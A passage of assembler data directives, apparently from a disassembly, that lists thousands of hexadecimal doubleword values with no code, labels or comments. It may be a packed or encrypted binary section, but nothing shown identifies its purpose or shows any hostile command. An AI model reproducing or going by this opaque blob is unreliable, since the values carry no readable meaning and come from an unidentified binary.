0E55BC05h, 931B759h dd 0D8CC04E7h, 80DEF603h, 61C0C299h, 3069EB6h, 20DB0B7Bh dd 0C5DF00F5h, 90E828F7h, 0B5A22F8Ah, 57BBD9B1h, 0E502CBB5h dd 6605EDAAh, 334EE4AEh, 8EBF23C0h, 0F46BFE53h, 0AB674BF5h dd 0BCC0C6C8h, 0C3350113h, 0CD68D505h, 114DF04Fh, 3E0C104h dd 53C24595h, 19ABD79Bh, 308A0200h, 687B6C66h, 837F284Dh dd 0D0EA467Eh, 94AA8BE9h, 0DE66EF56h, 0BB000A47h, 53B91EDCh dd 2DE128B8h, 7370AC46h, 9D09E4BFh, 5B309B16h, 0C62D565Eh dd 11C9282Ah, 70551FEh, 40787A31h, 475FB4Eh, 0E0209D84h dd 0EF25FB7Eh, 0A6D55EECh, 0AC5B5FAEh, 78BBB2AFh, 0B7E8FF3Ah dd 68D83928h, 741F62B2h, 0F997DBF0h, 0EEEF5034h, 39504B06h dd 8324C729h, 0B27F5008h, 0DB0E417Bh, 7568FA07h, 0ED60572Bh dd 4F728EAEh, 6D42BBA9h, 0DA331513h, 4E47097Ah, 3A576A90h dd 110C0F0Fh, 0E3E91C40h, 79EEEC55h, 2CFF21C4h, 565A09D4h dd 44130053h, 0EC5B4C6Ah, 321F4E46h, 2B52DE0Eh, 0DB253C92h dd 9033167Fh, 314D1363h, 24DCA122h, 0E2768ACh, 0B6CE637h dd 6DE4699Ch, 0E6AF215Dh, 15E17F5Fh, 163ECED8h, 0FB5B6E74h dd 2B6AB741h, 0C810741h, 0A7D0A9ABh, 6410FF29h, 0D1163513h dd 0F220BAEBh, 2428E43h, 0E9DF8996h, 14DDDCFCh, 75D40F72h dd 0EF606F0Fh, 0BA525601h, 0F95E1800h, 6AE28145h, 9253B39h dd 59B0F202h, 0C3F56BE6h, 807CD69Ch, 3CE9B8F5h, 0ECCAB1A0h dd 97FDB593h, 0EFFCC5D2h, 40EA5F2Ch, 50158B5h, 0EB0ED8C8h dd 89E1C331h, 4E148170h, 176ADA62h, 0EFC8FC51h, 0D4751792h dd 3B6DA110h, 4A26EBA0h, 0D6DCF956h, 355DE20Eh, 0AF958Dh dd 67EB7F36h, 9715D5E9h, 0A35D16A9h, 0E26387BFh, 4658062Dh dd 5FC32879h, 0C28D3CC1h dd 2646F0D4h, 0BE0D5826h, 115D4D09h, 2A27E0DDh, 90469F59h dd 0D764149Fh, 2FD28D6Ch, 680AE3FCh, 889C31C6h, 81006332h dd 0FD1137CBh, 0A8E4C149h, 6E71654Ch, 0E9420CC0h, 4D0D67C1h dd 948097D9h, 7E05BCCAh, 96F1394Fh, 2D022C7Ah, 9376503Dh dd 6D958909h, 554160Bh, 85A12542h, 4AE8F67Eh, 0B52A00AAh dd 28F3B438h, 0E868EC6Eh, 0FF55158Eh, 0C84B5CC5h, 0F7103EDh dd 0EFC15E12h, 2AF76603h, 5D75EA3Fh, 56A83852h, 1A2617C6h dd 20106523h, 3FC05724h, 6DD64504h, 7E04FB89h, 1160383h dd 98307960h, 224C7972h, 0FF17C9FBh, 2F43C88h, 417C1987h dd 53408F59h, 257836BBh, 0CC54317Bh, 909CE920h, 595C38Fh dd 39BA3DDAh, 8AEC6E7Dh, 578A40E5h, 26DAE953h, 9CD9F1B5h dd 0A8364BCBh, 94694005h, 0B2BCEBCCh, 350DA3E1h, 52F66E6Ah dd 0F8A9E983h, 0C87D2670h, 222C4812h, 6416F2FAh, 0EE56B886h dd 0B3A390D7h, 2C14008Fh, 0C0550430h, 0E0A103E8h, 93DD6E65h dd 0BA2067ECh, 0C2830222h, 26B66802h, 28BFC557h, 833B2224h dd 3A09F502h, 0D7556C37h, 0ED003744h, 0BB857DAh, 977815E9h dd 0B75838FCh, 68660E94h, 0EF981657h, 8000FFB1h, 0B25242EFh dd 5EF1E904h, 423B89A4h, 9DE82762h, 0EB263F64h, 0CE81BC2Ch dd 2077321Ch, 1A0A1F60h, 0AC8B58F0h, 77888B57h, 79239439h dd 20C04C12h, 0F32AE946h, 20683ED9h, 52E91C14h, 337D253Dh dd 6459E18Eh, 0BC629B57h, 4C06840Ch, 0F74EF0B8h, 26718462h dd 78B288Dh, 92720F68h, 994B8637h, 0AEE0B76Fh, 48504C53h dd 1392D25Ch, 2FABEDE1h, 24E5AB64h, 0D4EABD5Fh, 8B9DEA7Fh dd 0E997A43Ah, 0FE5B0E27h, 0C2817283h, 0C6382FE4h, 7E01B18Fh dd 60463982h, 6C124182h, 1CF073DCh, 609E9AD7h, 1E24365Dh dd 314E6CF2h, 118AEAA8h, 6C74A7A2h, 0E50DC432h, 5FD888CFh dd 58B6BE01h, 0EC300DFBh, 3CBF9B9Fh, 1EE227AFh, 8DF6F5Fh dd 310B4941h, 846C8208h, 0DC08A951h, 4F3350C3h, 221E029Fh dd 89B6009Bh, 8000CEFEh, 0F4280AC6h, 1BE5885Ah, 223DB9E9h dd 3A0BC0A9h, 719FC4B6h, 23CE7FFh, 46F2FD5Ah, 0A0C850B7h dd 274E5298h, 0C2D71141h, 5A080441h, 0E95C45EFh, 103ECFDh dd 8003E5C0h, 53ECD9C5h, 0BAAABF26h, 0DD3F16E3h, 0E2E62084h dd 79993669h, 490B1319h, 65725BD0h, 97433D20h, 0DD248771h dd 7E748000h, 5F07E965h, 9423FA7Fh, 0FB4A43h, 3B9005A1h dd 709574A7h, 0ECBA09EEh, 0E85415C4h, 75BF6809h, 4893E3F9h dd 0A0D540B4h, 0E1455B8Bh, 0E13EE93Fh, 0F77490E9h, 85E1A55Ch dd 0AD562A68h, 60B12C6Bh, 0C60B91A4h, 893AD525h, 0E62D79E4h dd 0C26ED662h, 0CCDCE2F5h, 8936818Eh, 11A1F52Eh, 0DAAEC879h dd 26E157E8h, 5BC0EF89h, 1B27620Ah, 7D09145Ah, 0DCBB8860h dd 34C51532h, 730B0940h, 8339AA50h, 0B15194FEh, 443F27F6h dd 1D70754h, 54F73843h, 91F6AF47h, 50FC4EDDh, 148ABA16h dd 0C236ED5Ah, 5C70BFE9h, 8934891h, 87405023h, 0F67AB320h dd 0F4CAB201h, 0AF6A5435h, 81DB415Eh, 758ACAF6h, 426B01B6h dd 3C7AE963h, 68817FD9h, 623E0EECh, 9F5F7C60h, 9691553h dd 7689E264h, 61A9F34Bh, 8028873Ah, 0CA32B1E2h, 0E1A78757h dd 5E1E13E3h, 7E05B126h, 369CBC84h, 6197915Ah, 6001C583h dd 3B045F6Dh, 0EDD171F4h, 10B7E83h, 3C65C1F1h, 7E313D79h dd 0E9D58F02h, 271F5C92h, 30F894FDh, 0C53D5144h, 490901B3h dd 0DDF776h, 0D571D0FDh, 0EF534E27h, 56EEDD52h, 0A553BE97h dd 4172D503h, 0C3E1ADE2h, 1023BE60h, 2515996Ah, 2989D508h dd 0E961BDDEh, 0AAD69AAh, 34052DF0h, 29A68B57h, 0FD61D0FAh dd 0A80CD13Ch, 2A5A2BE9h, 8140FBDh, 2A5D136Fh, 0A8014B90h dd 36E9B1AAh, 0B869136Bh, 5A907DBh, 0CF600AB6h, 7D180FE3h dd 0E7C11854h, 8014CE03h, 78090E25h, 0C459B6A7h, 4A0CEC9Fh dd 659464E3h, 637368C3h, 1AC67F10h, 2E37BC5Ah, 581B6B7h dd 45AA600Eh, 1FD6842Bh, 367B0007h, 0E95609EBh, 4513DD5Ah dd 0E928A1ABh, 0D6F23B83h, 25BA52C4h, 0B21716AFh, 38B81037h dd 79E3B05Fh, 68174878h, 0D1A8471Fh, 137426C4h, 0A74A70ECh dd 0E7B51232h, 0CB38580Bh, 1CE9A9B1h, 2F5FEA34h, 1675F031h dd 0DCC6040Eh, 0C114293Fh, 0DA9A68EAh, 5C808CA2h, 0E3DD0802h dd 0F1F49D80h, 0F58958F4h, 2B629ADFh, 0F0C1DEC6h, 2ED72FF3h dd 53AE003Eh, 7439DBBBh, 3BDDE5F1h, 0EEF5FDD8h, 0B8B627A1h dd 0E951CC80h, 73D34232h, 10E78901h, 72F13B6Ah, 8817AB38h dd 7A362DE2h, 0C066CC62h, 808A29C3h, 7634868h, 26C64FDFh dd 0EAB4314h, 0EB4CE3D1h, 8D13DFB8h, 5EB29E0h, 81DD893Fh dd 0E469C5AEh, 0AEC1767Eh, 1E562758h, 0AC731883h, 0BB4E3D33h dd 271041A3h, 0EB4062CBh, 0B04DF51h, 0BA24C489h, 0C101ACC1h dd 8283643Bh, 6605A411h, 0FB68B4FBh, 125C3A49h, 0E2E87519h dd 44C5FBB4h, 8D7462ABh, 2009B274h, 0BA17CFEh, 42879EE6h dd 5AF1008Fh, 7D48E950h, 0C51C152h, 96200B09h, 0F6F319B3h dd 0F22218F4h, 9B08D9DEh, 0FE870B74h, 0FC4DC605h, 928AC488h dd 4BCBE813h, 0B95D62A4h, 265908DEh, 71355800h, 0B5365F1Ch dd 1DFC0650h, 0D0B4B75Bh, 0D8E44E05h, 185AF268h, 0B50EAE6h dd 4A591695h, 507CB847h, 8B9572E0h, 4BF3FB9Fh, 36EFE9D7h dd 88130828h, 697CBCCCh, 0B4CB712Ch, 578A800Dh, 0D39406E9h dd 11657525h, 0AF005E13h, 4BE457BBh, 0E9E00ED1h, 91C0F37h dd 0B6D71C33h, 419F8ACFh, 8C6A3B4Ah, 5D405C21h, 0A7389659h dd 2B0125A0h, 60BD4F1Fh, 802C8B1Bh, 0F3BF6149h, 0F2E962D0h dd 0FF9892FDh, 0EE27A7F9h, 366712F7h, 2F18AB61h, 984A0606h dd 9B61350h, 88C8BA03h, 0C765BD5Ah, 0E1B25449h, 75064AE9h dd 9DE07BF9h, 0A820F9E5h, 9AF9037h, 626E4CC4h, 3783D03h dd 0D5E91DC9h, 3FE83B9Ah, 0D02515D4h, 642DD0E0h, 3517141Dh dd 36604E43h, 2B15F93Fh, 6EF4C86Eh, 7C484F13h, 7C6820Ah dd 3814D82Dh, 3C3E73BFh, 6577F683h, 180129D9h, 3F762634h dd 0D721EE83h, 97754E6h, 7510AE17h, 0D1B8F1C6h, 76EECAC3h dd 5D22EA45h, 2A2943F0h, 0DC02CBD2h, 0E12D3672h, 0C551C23Eh dd 0B62B5EF5h, 89D625C1h, 3F79D571h, 18AF046Bh, 0DA6971Eh dd 202E1DBFh, 5E974C27h, 0DF746B1Dh, 7E6F591Ch, 2B4D05AEh dd 0E8A7805Bh, 0ED0E2D02h, 0A0796012h, 39B97E6Dh, 7B7D7335h dd 16CC90BDh, 0B84481E9h, 7622F011h, 0E966170Bh, 0AF105360h dd 0D72476C7h, 0EFC7D0BFh, 4925260Eh, 0C726F780h, 0D377FD77h dd 476A5127h, 8D6805DBh, 5AC9B202h, 0BB92DEB7h, 528B4DB6h dd 4BF74000h, 0BA353E94h, 0F4F80BFBh, 2A67750Bh, 8A014FCh dd 589FF6B0h, 7F4F97BEh, 0B7433FACh, 0F0D93B0Fh, 302A5F98h dd 8E26EC80h, 711632FEh, 0CBFB8685h, 0E90F637Bh, 0D7E4F4BCh dd 44256FF4h, 3DAE68E2h, 61BD9AD5h, 0B92A846Dh, 1B080E7Ah dd 0F9894507h, 289520AEh, 593D66C8h, 2DFF705Ah, 6D630B46h dd 78A777CFh, 30FAF081h, 7BF3795Fh, 8042BE1h, 0F2EA49C4h dd 0AF2578C5h, 6A6657A7h, 7DBDD5A0h, 81615D07h, 941366CAh dd 880C0465h, 0AF1C8505h, 2E04BABDh, 0BF75B589h, 572D0C09h dd 9C2E8F62h, 5A5D7D89h, 685316F8h, 32DB21CCh, 69D83927h dd 582324FEh, 20216E81h, 48100BC1h, 9A059405h, 0C6317A39h dd 575B23C2h, 86803D14h dd 0FE1A09F2h, 0ECC13Bh, 0E708F786h, 5B8BF02Ch, 9653417Fh dd 2A1C733Ch, 0E0AFD4C4h, 7D045E4Fh, 0E989DCB5h, 0D8D96EC2h dd 87661384h, 0A110AFF9h, 0C9810606h, 1F0A2ABBh, 4B6E03C1h dd 0E942CA29h, 31C0882Fh, 0C0B70FC3h, 3203BB0h, 623E90E4h dd 6F591205h, 0A43BD00h, 9B1A4C86h, 96821203h, 0E8A5E991h dd 4A5D0FDDh, 688C0956h, 126EEFE6h, 1558D36h, 0EE45208Fh dd 11942E74h, 91C081Ah, 0A760214h, 25AEE50Eh, 2DDF9CDDh dd 82DC5A94h, 0EAECF97Bh, 32654E2Bh, 92D7E276h, 2CC705F8h dd 0FED8074Ch, 0A608979Dh, 3AB40367h, 98B8F480h, 4AE9CFC4h dd 885207F0h, 0ADA472C6h, 4E29CA2h, 5B11E080h, 0D9B7277Fh dd 0BD800F0h, 54E946E7h, 2D2EBE65h, 0A26C94BFh, 0A51AD655h dd 0BEAC0326h, 684B993Bh, 5CF31A60h, 0B85AB1CEh, 5F521254h dd 0C4BE6D17h, 1AF1B8B7h, 0CC3E143Dh, 54502508h, 4AD60138h dd 80B470CFh, 0E4C0DCF6h, 0EA0AD805h, 0E24E2087h, 96799C2h dd 2A1D403h, 8F050C3Eh, 447B1F18h, 6DEEA993h, 0A3EC6BAAh dd 0FFE860C3h, 0D8280B8Ch, 4E9120CEh, 7D5B5425h, 7D98E06Ch dd 77DAC35Eh, 22A2A85Eh, 65EA210Ah, 78A0E989h, 55FBFAA8h dd 0CC600D1Eh, 9189C3Bh, 2E5D2Ch, 617C929Dh, 0E6B55140h dd 2A40C4C1h, 0F3EAD225h, 0C223C4BEh, 68821ABCh, 0B2F50397h dd 3573FDF2h, 0F6A1D793h, 0C68AF96Ah, 4B188A18h, 0FE67FF59h dd 5758B0E2h, 93F0E364h, 1B8C434Fh, 28641D7h, 16699EE1h dd 0F2E23E59h, 0F10A3974h, 83055A7Fh, 72EF8FD0h, 684A1AD8h dd 1F7477h, 7888C504h, 0E91AEE01h, 774D152Ch, 0A0CBF754h dd 1368511Fh, 7B469571h, 6B4F7EF2h, 9B5EDACh, 0F5F8FB00h dd 8CB8DF97h, 0F1951F9Ch, 0F84F44ACh, 0F2D14C89h, 0E9DF9834h dd 0D12D53BAh, 16D7592Eh, 4D83F4A2h, 7E940C16h, 0FD30FB87h dd 0BEAFD5E9h, 4E6C8118h, 0F221235Fh, 769F29D8h, 0F2C0705Dh dd 0BC74FEBDh, 0EA101C17h, 0A9AD1428h, 0EE3131AFh, 2E72EC24h dd 11CE2C29h, 0D6FD4F01h, 341BAB48h, 0E2B35954h, 89F0C85Eh dd 587C3AF3h, 4CDF099Fh, 0EA6FAC52h, 0C63BFD03h, 0EAD031E4h dd 0E0C87547h, 8EC142D2h, 2D5648F1h, 321460DFh, 41AC35D0h dd 9D487AB5h, 0DC95DAB4h, 406E964Eh, 59E868A0h, 9C9371E4h dd 13EAE427h, 0E856623Ah, 5A2801F2h, 5351DFD1h, 34DCDB50h dd 0E7A5DD2h, 0B1FF0741h, 0AB2B9F18h, 0FDA5ED37h, 0E197CDBFh dd 2D8C3CEFh, 950FD705h, 0A9600E4Bh, 885064B7h, 1489BE8h dd 0CDD29285h, 173775Ah, 0B5C4E964h, 0A0F1A944h, 892BC1FFh dd 3063F4CDh, 0C3EA31CFh, 56EEE0Ch, 0CA5EB40Ch, 9094AE5Ah dd 0BD550805h, 60E81410h, 7879BED9h, 0B817008Ch, 637A6A8h dd 6339FD05h, 28525CCBh, 6AAC072Dh, 6F961BB0h, 25D7D62Dh dd 0D5F289DDh, 5C80AD4Fh, 0F6E28659h, 8A0C90D4h, 8A705FE0h dd 35AAF6B5h, 0B6B0AF0Ch, 0AFE5955Bh, 0F2074BAFh, 47020BB8h dd 9357311Ch, 9EC4F382h, 98E30B87h, 0AA584A77h, 0FD89FC02h dd 0ABCDE9B3h, 7430D5B0h, 4CB4E05h, 0F083097Ah, 0A7BA1F4Dh dd 9E72439h, 7B91913Ah, 7141CAF2h, 500E7EE7h, 91FCF80h dd 0DB7F4286h, 0A65D979Dh, 685500BFh, 4F407CF4h, 40394BE9h dd 1306EB41h, 0EFB04741h, 48A63FFFh, 0CAAAE9C2h, 5582535Ch dd 0C12AFC5Eh, 0E93F47AEh, 20FA97F6h, 0A8E9529Dh, 978650BDh dd 0B5DEB457h, 0F38B0C45h, 4D0F82FFh, 1F516045h, 0C9B23E2Eh dd 535CF29Bh, 5AD4BBADh, 0ADC23280h, 15572851h, 3E327A1h dd 0CAC27032h, 9C35655h, 32A024E9h, 4D1D9ABAh, 16095A48h dd 4B807D57h, 0BA047F2h, 0D301E3CEh, 0FC12B184h, 895D0A75h dd 0A9E85AC5h, 4E0AFC27h, 6630D3D4h, 18D9EFABh, 0D531BD27h dd 8018B62h, 5796CFE9h, 0A8C264F6h, 88B11C09h, 0E368E25h dd 14518CD0h, 0F9BB27E9h, 89C50A54h, 0BEE1FD0h, 79AE2D5Bh dd 81288FDh, 0FEA4CB3Dh, 4004413Ch, 7DDE7CD6h, 0EB29A418h dd 0B75BDAD4h, 0B725140h, 0E90F3505h, 0CD905314h, 0B8308BB0h dd 0CE2F28BCh, 0DA9096Bh, 54071156h, 0F2E1E2FAh, 9ABD1657h dd 7E522097h, 7153E919h, 0AC6FBAF5h, 60AE4F0Fh, 3ED9E988h dd 0CD16DD95h, 0E6387890h, 2DEB5E11h, 97EC3A37h, 8B8BAFDFh dd 826E4FD9h, 0AEF028BDh, 6B1EDFB1h, 9017C816h, 12B981B0h dd 0A57D557Eh, 4175F435h, 0AD160E3Ah, 4D9F206h, 0C139F3C9h dd 4DA5C06Bh, 31E1200Eh, 0C42D7A92h, 0EDAE2944h, 29FFB403h dd 0B07A52Eh, 0E7270204h, 0F03003EFh, 3B36A3B9h, 0C3800D20h dd 0A54BB5F7h, 694A10AEh, 0FAAE8DEAh, 421F08D9h, 251C41E2h dd 0B13A28B7h, 0AAD1015h, 2F5448F6h, 38DD96E9h, 5A346849h dd 0FAD43146h, 3F307E03h, 2BA32C3h, 4555355Ch, 0CCD509AEh dd 69D2712h, 0BE986D9h, 0DD61890Fh, 0E9E12F59h, 24844E99h dd 0BBCF885Ah, 474054C9h, 4CC747B6h, 2F04010Ah, 0C3761238h dd 4ED16758h, 83E17B6Ah, 5878C530h, 2A2EB6B5h, 955A776h dd 0A5487D02h, 8DC9FB5Ch, 77E2D7EDh, 3EB3CDC3h, 7BD0C35Ah dd 5B4468C8h, 5FFF3149h, 5F98A7FCh, 0E91F6667h, 0B22423B5h dd 0C2EF00BEh, 4CC96850h, 7A661196h, 0DAD09543h, 333C0802h dd 5CDEF754h, 99460952h, 2045E657h, 6816558Fh, 558C45B6h dd 0B3134A93h, 5558C02Bh, 0A8D13EE9h, 55DEE8Ah, 611ED405h dd 0BF89432h, 22C65E07h, 6377FE95h, 0DC4EFBE0h, 533F29A2h dd 6E77518Bh, 4DA686D5h, 1BD9BD0Dh, 0A6BFE9E1h, 3ED86A8h dd 0C1C980B7h, 85EC5066h, 3B4BAF32h, 98497AEAh, 0F5E76273h dd 1B753FFBh, 1BCDC80Ch, 0EB665E81h, 5024BF29h, 5E4E092Bh dd 880F4723h, 49302CA2h, 78D7455h, 9346FFF7h, 0F1EBE90Ah dd 30748BBFh, 554A68C2h, 0BD056E66h, 547A0D63h, 437983AFh dd 0D05D3EFEh, 67F95B3Bh, 8F58474Dh, 2A5F88E8h, 5B0ACF8Bh dd 9BBB25E9h, 8D02A458h, 8C34A3B9h, 7E0DF19h, 0F1488749h dd 8691Dh, 3E047477h, 67E91229h, 0D7E4BA5Bh, 22DCBD58h dd 0CB1285E9h, 2EE489D9h, 91DC9DEEh, 34770183h, 1158B429h dd 275A78E9h, 0CC8E1090h, 0E00CD3A6h, 0FF1719B9h, 64BA0138h dd 1A4BE7Dh, 8F12A2EFh, 5FB4539Ch, 153A802Ch, 0CDEE10D6h dd 65C91179h, 18540C22h, 13063BE9h, 0BF0E5BD8h, 333C205Eh dd 550C10A8h, 2C0C4018h, 9034CB0Fh, 0CABB9731h, 0A6C45045h dd 4C670213h, 7B063105h, 0C925CB80h, 35C6381Bh, 4D2333FEh dd 0B5A44CB4h, 0F1E82EB4h, 2F55B24h, 46FC75C5h, 0DF96DA82h dd 1A25FBFAh, 0F76CDDA7h, 97EEDE97h, 1577BA3Ah, 54C3F5B2h dd 0F3C196B1h, 0A0030760h, 6BA9AFE6h, 25621853h, 52EB9514h dd 8030C217h, 559B81FFh, 5E1C8C2Fh, 440B2C56h, 0D4BFC76Ch dd 4C7E2F15h, 77F38989h, 0E9858579h, 18014B9Fh, 0FD9CF288h dd 5A65102Fh, 81FE93C4h, 3ED12159h, 8E527F8h, 738270ECh dd 0E0762659h, 17B6C2F8h, 8261430Bh, 88CEA57h, 2540AAC2h dd 5BD96C88h, 455E7116h, 3B219139h, 6371FE3Bh, 0A0BCF97Ch dd 219F60E3h, 54C20A2Dh, 0F5B18C1h, 68F87F96h, 0BB884B4Fh dd 3EBAFC52h, 0F7983EAEh, 60F22AD2h, 577E9E7Ch, 60D89BDh dd 0A2DDBE95h, 0E0AD6CBFh, 0E9909710h, 124159E9h, 1387BC6Ah dd 30C976F9h, 82A1B860h, 0BDE3445Dh, 65F16E5Ch, 2D3DEE3Bh dd 0C8668C2Bh, 0A4054E5Ch, 3E491AAEh, 860D65DFh, 297D9468h dd 0DB2CB927h, 8CA7BD89h dd 2A5F37C1h, 21182CEAh, 5A204F63h, 69DADD58h, 148AEF4Ah dd 81E1C01Eh, 2CF4E980h, 53C8C0A1h, 0F80AB762h, 0E5D1F75Bh dd 51549A69h, 0EB5B13C9h, 0F52E2E31h, 0B8F19Dh, 40168C53h dd 0D3CD8F7h, 4A0903C0h, 0D85F2325h, 2040547h, 0E9BCBFA1h dd 0CB7C7E27h, 9F641150h, 75A7D776h, 0A43D7465h, 0C51D2C54h dd 33C192A0h, 0E74F284Fh, 0FE0569F1h, 0D1011774h, 215EB17Bh dd 383EB521h, 2883394h, 3AC0892Ch, 10A53FC7h, 0ECF4F2A1h dd 308E1334h, 0B74C04C1h, 0A3B00552h, 257879A8h, 0BB014EB6h dd 0DACE3024h, 4710895Ch, 0F1295B12h, 0F03A3119h, 18D66231h dd 2DBB50A0h, 27016D73h, 20A34F97h, 5ED5368h, 0E30CF0FEh dd 21EB2A4Fh, 2E0F2C42h, 4E250931h, 51179732h, 48CFF26Eh dd 401F5458h, 9E302D3Fh, 4BD60D95h, 3DFEAFC5h, 4047303Ah dd 0A542F9B4h, 0D4A409BEh, 8066F0D3h, 64EA38h, 0D2045AD0h dd 4828C72Ch, 422532E8h, 777BCA75h, 0FCE1BF0Eh, 3A01D5E9h dd 0FD56862Ch, 0AE2B87DDh, 0EAEB5E73h, 1F4F7E58h, 9960DE2Dh dd 24C409h, 2DB15FB3h, 67C13042h, 7A7561C3h, 7DD6A7B1h dd 0F7E10096h, 0C91D1E21h, 845879DDh, 2FFBB19h, 0FD8958C7h dd 8EA2D62Bh, 44DD4CA5h, 0D7E6043Fh, 0BC652359h, 0A24E253Eh dd 0F111C2DEh, 2ED42B5h, 9220DFC4h, 0D9292F7Ah, 32556A32h dd 0E98FC5B9h, 5ECBBBFCh, 0F69842D7h, 0F90EC751h, 32E137AEh dd 6007FA00h, 27717903h, 0EFF65AD7h, 23914C65h, 0BDC85566h dd 9FDE98BFh, 5D69FCAFh, 0C908FA56h, 1326ADh, 19D1B74h dd 1C485721h, 3F592865h, 67D7C74Fh, 9D4778A9h, 0E9DDB05Fh dd 0B7E49A2Dh, 36F81CECh, 6EB947C0h, 5AAEB88h, 7B18D72Dh dd 5ED8265h, 69E90781h, 70496E6Bh, 56165559h, 466EB025h dd 826EA222h, 75D2E972h, 149032A9h, 0AF9129D5h, 0DB1CA7BDh dd 0F58100FBh, 0E2CD37F9h, 599D0E90h, 2EDD2F1Ch, 0C2EED744h dd 7B435A50h, 0C00ED5EAh, 181B28BEh, 2B759D50h, 0CF6163F6h dd 0D4FE0B6Bh, 94E95B76h, 21CE5291h, 0A4203C5Ah, 0C06813F5h dd 0C5ED341Fh, 5F9C4B06h, 7DF22CF8h, 5BD3E1BDh, 0D972996Fh dd 37006DBh, 6E63F9CFh, 60EA4F54h, 0BE016A5Ch, 3DDD1AC1h dd 0B52DBF2Ch, 6ABD2D40h, 454C7F1Eh, 0D5D28B89h, 0B130819Eh dd 0A6C51D45h, 103D0109h, 6DB7BB53h, 4BA0A7ABh, 0CDA9C3B4h dd 4C3CE904h, 9CDD5E09h, 441E2D6Ch, 296F0474h, 0B5C0F01Fh dd 5B51CEDCh, 4E40EC60h, 0A1F1B8C7h, 5D00E67Ah, 3D1E8535h dd 0ACCB6E32h, 5266DCD6h, 557F62FFh, 7B959894h, 2D8402C9h dd 740E0841h, 0CC7E629Ah, 9E57066Dh, 725C90Fh, 20DBEF67h dd 1A60C8BFh, 14E2BF5Ch, 3CA856C1h, 27EAA00Dh, 584F2E28h dd 0C391DC4h, 47D04DDEh, 77713F18h, 2D28230Ch, 88FD7688h dd 0F0280811h, 0D8C9456Bh, 336B3826h, 85DE9570h, 552BC272h dd 58F43EA0h, 0B2C9561Fh, 0FAD882D1h, 71C10FBEh, 54631B53h dd 3C8482B6h, 0E4C5AAA8h, 0FD6012DDh, 0A011E5E9h, 16760D6Fh dd 5F5F4528h, 3582C954h, 5AB1D87Eh, 386F4A58h, 0BDFE5235h dd 0D6F30D4Fh, 239E3079h, 8087B7C3h, 5113C709h, 795A02B5h dd 49B102E8h, 9A6DAFFh, 2E1368D9h, 0BC7998DDh, 7EC2FC0h dd 2843D307h, 0DD2F77BBh, 822C5114h, 4DD732A0h, 8102B34Ch dd 333CF3CDh, 0EB2A5456h, 8D0F29DCh, 89DB67D9h, 8B17A0AAh dd 81297A23h, 5FEC1AD1h, 6675A11Ch, 5B30174h, 58E33034h dd 8F3ED188h, 30F83FDAh, 894C3DA6h, 0C6011291h, 6441CC09h dd 42FF8A0Fh, 5E84787Fh, 8048B45Eh, 202B7A13h, 705EDE1h dd 84FBDC0Bh, 2D006764h, 3289031Bh, 421EE7EAh, 0CC820E43h dd 57C31D2Bh, 5C459ED4h, 0E14EE082h, 0C9BA4A7h, 7E0B067Ch dd 56FEF41Fh, 7642623Ah, 165CDF5h, 49A5B850h, 0A270205Ah dd 0C1292EB7h, 3933B77h, 40F2B86Fh, 1325A08h, 0E1555FCDh dd 0FFC21BA6h, 5F52A879h, 1679976h, 8A5812E8h, 685100ADh dd 6A536116h, 92E725E9h, 5F33687Fh, 6B2C80B5h, 6F603790h dd 5059CDB3h, 3028581Ch, 882FC600h, 0DCB95126h, 0DE91053Fh dd 0F1F200EFh, 5F4A0DC8h, 20212C8h, 0B72B22Ah, 288240F7h dd 9F719782h, 0DA7C488h, 30E6D366h, 0F241861Eh, 9E12D376h dd 5CB3C834h, 92CD799Dh, 426FE090h, 87D720E3h, 3CE5530Dh dd 137A1C4Ah, 0CB06E6D2h, 0EF16228h, 4E68FAh, 68565574h dd 3F5801ABh, 0E26A2495h, 84D1F78Bh, 0AF8C2498h, 0BD681255h dd 278C8942h, 0E0162726h, 4F3B6814h, 584DE354h, 9821D7Ch dd 0C3B90140h, 170A2772h, 0FD6A2AE9h, 0E2BBD220h, 9821D3ABh dd 0F701F016h, 83B33ED2h, 16588A44h, 0A87F3690h, 0C481768h dd 9B272CBEh, 0ACFEFB27h, 4B4112EAh, 2788AEA6h, 65D117B9h dd 540BB830h, 6AF92C12h, 2B51E28h, 0DDE58069h, 28DC1BE9h dd 4421752Fh, 0EB0AD137h, 6B8772F1h, 0EAF4B4E9h, 0BCF653ECh dd 82E165BDh, 3BE468DFh, 0F146C1A4h, 8DEC3A71h, 0C9F150C7h dd 0B43DAC53h, 0CEA91776h, 7613AE5Ah, 0F0020192h, 7C9E9556h dd 0EC6EE915h, 2CD13DC6h, 281227CFh, 5CA72FDDh, 0D2A608D5h dd 0CE07772Dh, 0A6E96729h, 4D4C3237h, 0E5C104C7h, 0D3C04507h dd 0B93DB03h, 562E988h, 7FA77774h, 59D586C2h, 6AFD4BB9h dd 72F67EA8h, 7B97CB78h, 2EA5A0F2h, 7040A05h, 6BE42964h dd 58188AD0h, 150C0BF6h, 0F4E83F94h, 5401FFDBh, 0EE56F69h dd 0D2080409h, 0D6552BECh, 685260E7h, 79950891h, 0FA7392D3h dd 7FE9FB05h, 0B2F757B0h, 175424BBh, 9BFD9EDDh, 740508D7h dd 9E8CBA1Ch, 44CEF3C0h, 0B6466021h, 59E2377Eh, 690B58B0h dd 70D573h, 0A32A1E16h, 5C15B240h, 5C9C9BDh, 0F81AF857h dd 9F459A4Fh, 0C35106F2h, 70A82E2Eh, 0B6F7FFE5h, 5C982A17h dd 2CD007D8h, 0C935A3CEh, 0EED11413h, 803043ADh, 0F221380Eh dd 828B95A0h, 0B2C18380h, 529C0B1Ch, 0B2041F17h, 0DCB103FCh dd 9B06EBC0h, 13C49DE1h, 15F2FEC1h, 538B5D2Ch, 88390416h dd 0D3F32FC6h, 0B05D2F67h, 0FA01B6B7h, 12E92A4Fh, 0FD1EA285h dd 7D9D463Eh, 570BD11Ch, 0E6158868h, 4F4430A8h, 0EB015FAAh dd 0EF247BB0h, 0DB9C9DD7h, 6D0BD392h, 7650D81Ah, 44514EB2h dd 8B29536Ah, 0A1F51E06h, 52F1370Ch, 1DDEB55Dh, 95B15527h dd 52FF2B37h, 2023C04Bh, 0C097D55Eh, 3105C9FCh, 81D71E7h dd 0FAAC016h, 1FE50F97h, 930C4414h, 0D19E650Bh, 15E126Ch dd 47A630A0h, 0A2FD2B67h, 8FD3E909h, 0BA88CE54h, 91B2875h dd 7351016Eh, 35040C76h, 0D98413F2h, 0C13E1EAEh, 0E94B07EBh dd 0CD062A26h, 36451ADh, 1DDF2328h, 31E945B9h, 7B48210Eh dd 80118B4h, 8CDBE9F1h, 1F0EE824h, 7BEFDD30h, 8C34876h dd 5417BAC9h, 0A786DD04h, 0B4059551h, 45B04Fh, 0B1017408h dd 